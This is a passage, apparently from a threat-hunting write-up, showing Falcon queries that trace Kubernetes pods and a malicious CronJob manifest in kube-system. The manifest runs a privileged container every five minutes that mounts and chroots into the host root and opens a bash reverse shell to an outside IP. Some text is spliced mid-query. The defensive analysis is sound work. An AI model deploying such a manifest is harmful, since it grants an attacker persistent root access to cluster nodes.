In the results, the To start, we query for the pod IDs: Querying the Falcon Kubernetes data for pods created by the CronJob, we can determine the pod IDs and then pivot into the runtime telemetry as we did before for this new set of pods. With this information, we can determine how the reverse shell was utilized.
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| in(PodId, values=["3c966fab*", "d378df6b*", "bc59ffd3*"])
| select([CommandLine, ParentBaseFileName, PodId, timestamp])
| sort(timestamp)K8SResourceObject field shows us the manifest of the CronJob:Confirming Runtime Behavior: What Did the CronJob Pods Actually Execute?
{
"spec": {
"schedule": "*/5 * * * *",
"jobTemplate": {
"spec": {
"template": {
"spec": {
"hostNetwork": true,
"hostPID": true,
"containers": [{
"name": "health",
"image": "ubuntu:24.04",
"command": ["/bin/sh", "-c",
"chroot /host /bin/bash -c 'bash -i >& /dev/tcp/35.183.69.114/8876 0>&1'"],
"securityContext": {"privileged": true}
}],
"volumes": [{"hostPath": {"path": "/"}, "name": "host-root"}]
}
}
}
}
}
}#event_simpleName=K8SRunningContainer
| K8SPodNamespace=kube-system
| K8SPodName=/system-health-check/
| select([K8SPodName, K8SPodUid, K8SImage])
| groupBy([K8SPodName, K8SPodUid])
